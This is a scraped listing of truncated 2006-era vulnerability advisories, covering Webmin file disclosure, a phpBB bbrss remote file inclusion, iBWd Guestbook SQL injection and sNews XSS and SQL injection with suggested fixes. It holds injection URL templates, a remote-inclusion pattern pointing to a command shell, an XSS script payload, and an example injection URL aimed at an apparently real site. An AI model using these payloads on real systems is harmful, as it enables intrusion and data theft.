Webmin < 1.290 / Usermin < 1.220 - Arbitrary File Disclosure

milw0rm.com 2006-07-09...

bbrss.txt

bbrss PhpBB phpbbrootpath Remote File Inclusion Credit : SpC-x | TheBeKiR Site : http://wWw.SaVSaK.CoM Greetz : | TheBeKiR | Nukedx | Ejder | Str0ke | joffer | Poizonb0x | Remote File Inclusion : http://www.target.com/path/bbrss.php?phpbbrootpath=CommandShell Bbrss.PHP : define'INPHPBB', true; //...

iBWd Guestbook 1.0 SQL Injection

iBWd Guestbook 1.0 SQL Injection Credit : SpC-x | The-BeKiR Site : http://wWw.SaVSaK.CoM Greetz : | Nukedx | Ejder | Str0ke | joffer Code : http://www.target.com/path/index.php?offset=SQL Example : http://robbie.thru-a-lens.com/guestbook/guestbook/index.php? offset=SQL /SpC-x -- Get your free ema...

XSS bugs and SQL injection in sNews

Official page : http://www.solucija.com/home/snews/ XSS in comments : just post some comment with scriptalert'XSS TEST by securitydot.net';/script FIX : put this on 423 line $r = strreplace "","&lt",$r; $r = strreplace "","&lg",$r; Injection through categories : index.php?category=120or201=2 FIX ...